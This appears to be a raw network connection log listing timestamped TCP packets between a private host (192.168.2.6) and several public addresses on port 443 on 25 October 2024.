Oct 25, 2024 10:20:17.324383974 CEST	50177	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:20:17.324620008 CEST	443	50177	151.101.130.137	192.168.2.6
Oct 25, 2024 10:20:17.325037003 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.325062037 CEST	443	50178	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.325350046 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.325397968 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.325908899 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.325922012 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.326225042 CEST	443	50178	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.326283932 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.327825069 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.327886105 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.327931881 CEST	443	50178	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.327976942 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.328155994 CEST	443	50178	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.328157902 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.328216076 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.329144001 CEST	50181	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.329188108 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.329458952 CEST	50181	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.329808950 CEST	50181	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.329821110 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.333650112 CEST	50176	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:17.365937948 CEST	50177	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:20:17.940419912 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.940773964 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.940849066 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.944091082 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.944195986 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.944531918 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.944725990 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.944802046 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.944987059 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.945014954 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.945141077 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.945161104 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.947680950 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.948082924 CEST	50181	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.948095083 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.948398113 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.948580980 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.948642015 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.948750019 CEST	50181	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.948807955 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.949210882 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.949387074 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.949414968 CEST	50181	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:17.986654997 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.995321035 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:18.002516985 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:18.002532959 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:18.049834967 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:20.381887913 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:20.381998062 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:20.382119894 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:20.382791042 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:20.382822037 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:21.109932899 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.110014915 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.110097885 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.110681057 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:21.110753059 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:21.110944986 CEST	50181	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:21.112431049 CEST	50181	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:21.112445116 CEST	443	50181	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:21.113033056 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.113076925 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.118129969 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.118160009 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.720503092 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.720670938 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.720757008 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.720763922 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.720803976 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.720853090 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.720863104 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.721079111 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.721137047 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.772542953 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.772576094 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.773724079 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.773766041 CEST	443	50184	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.773890018 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.774873018 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.774904966 CEST	443	50185	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.775094032 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.775808096 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.775834084 CEST	443	50186	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.776006937 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.777412891 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.777427912 CEST	443	50184	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.777939081 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.777949095 CEST	443	50185	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:21.778496027 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:21.778506994 CEST	443	50186	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.128523111 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.130994081 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.131023884 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.132190943 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.132263899 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.132272959 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.132322073 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.134419918 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.134525061 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.135222912 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.135229111 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.135337114 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.176753044 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.183327913 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.281265020 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.281383038 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.281415939 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.281465054 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.282460928 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.282510042 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.282677889 CEST	443	50183	52.108.9.12	192.168.2.6
Oct 25, 2024 10:20:22.282732964 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.282749891 CEST	50183	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:20:22.386090040 CEST	443	50186	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.386971951 CEST	443	50184	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.389431953 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.389441967 CEST	443	50186	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.389838934 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.389862061 CEST	443	50184	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.389914989 CEST	443	50185	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.390491962 CEST	443	50186	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.390588999 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.390893936 CEST	443	50184	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.390985966 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.391259909 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.391283989 CEST	443	50185	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.392595053 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.392595053 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.392661095 CEST	443	50186	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.392760992 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.392761946 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.392772913 CEST	443	50186	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.392925024 CEST	443	50185	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.393009901 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.393136024 CEST	50186	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.394059896 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.394094944 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.394156933 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.394558907 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.394558907 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.394659996 CEST	443	50184	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.394839048 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.394854069 CEST	443	50184	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.394870043 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.394982100 CEST	50184	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.397317886 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.397350073 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.397490025 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.397819996 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.397902012 CEST	443	50185	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.397942066 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.397989035 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.398005009 CEST	443	50185	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.398062944 CEST	443	50185	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.398066998 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.398066998 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.398103952 CEST	50185	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.398421049 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.398457050 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.398696899 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.398897886 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.398916960 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.399034023 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.399049044 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.399223089 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.399238110 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.998073101 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.998399019 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.998418093 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.999483109 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:22.999545097 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.999876976 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:22.999942064 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.000046968 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.014512062 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.014867067 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.014890909 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.015955925 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.016001940 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.016006947 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.016304970 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.016356945 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.016455889 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.016468048 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.016592979 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.016598940 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.017504930 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.017554998 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.017817020 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.017868042 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.017957926 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.017963886 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.043327093 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.050792933 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.050807953 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.066240072 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.066245079 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.099437952 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.354284048 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354341984 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354374886 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354406118 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354439974 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.354458094 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354485989 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.354754925 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354783058 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354806900 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354825974 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.354834080 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.354994059 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.368009090 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.368170977 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.368720055 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.368760109 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.368789911 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.368949890 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.368995905 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.369036913 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.369237900 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.369445086 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.370096922 CEST	50187	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.370131016 CEST	443	50187	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.373405933 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.373513937 CEST	443	50190	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.375571966 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.375911951 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.375950098 CEST	443	50190	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.383847952 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.383982897 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.384074926 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.384170055 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.384187937 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.384207010 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.384236097 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.384351015 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.384515047 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.384522915 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.384737015 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.384819031 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.384888887 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.384901047 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.385006905 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.388938904 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.394905090 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.394932985 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.429440022 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.442293882 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.470022917 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.470272064 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.470297098 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.470323086 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.470335007 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.470436096 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.470732927 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.470957041 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.470983028 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.471190929 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.471215010 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.471221924 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.471261024 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.471389055 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.471708059 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.471713066 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.472227097 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.472333908 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.472340107 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.472449064 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.472620010 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.472625971 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.472745895 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.473069906 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.473176956 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.473184109 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.473273039 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.473299980 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.473305941 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.473439932 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.473445892 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.501581907 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502011061 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502039909 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502063990 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502155066 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.502183914 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502209902 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.502336979 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502367020 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502435923 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.502441883 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502487898 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.502502918 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.502999067 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.503029108 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.503067017 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.503072977 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.503333092 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.503545046 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.503710985 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.503969908 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.504033089 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.504039049 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.504106998 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.504349947 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.518912077 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.544361115 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.544401884 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.544469118 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.544487000 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.544533014 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.584978104 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.585221052 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.585247040 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.585692883 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.585717916 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.585721016 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.585732937 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.585786104 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.585786104 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.585799932 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.586215973 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.586241007 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.586318016 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.586323977 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.586462021 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.586972952 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.587515116 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.587807894 CEST	443	50188	172.67.167.62	192.168.2.6
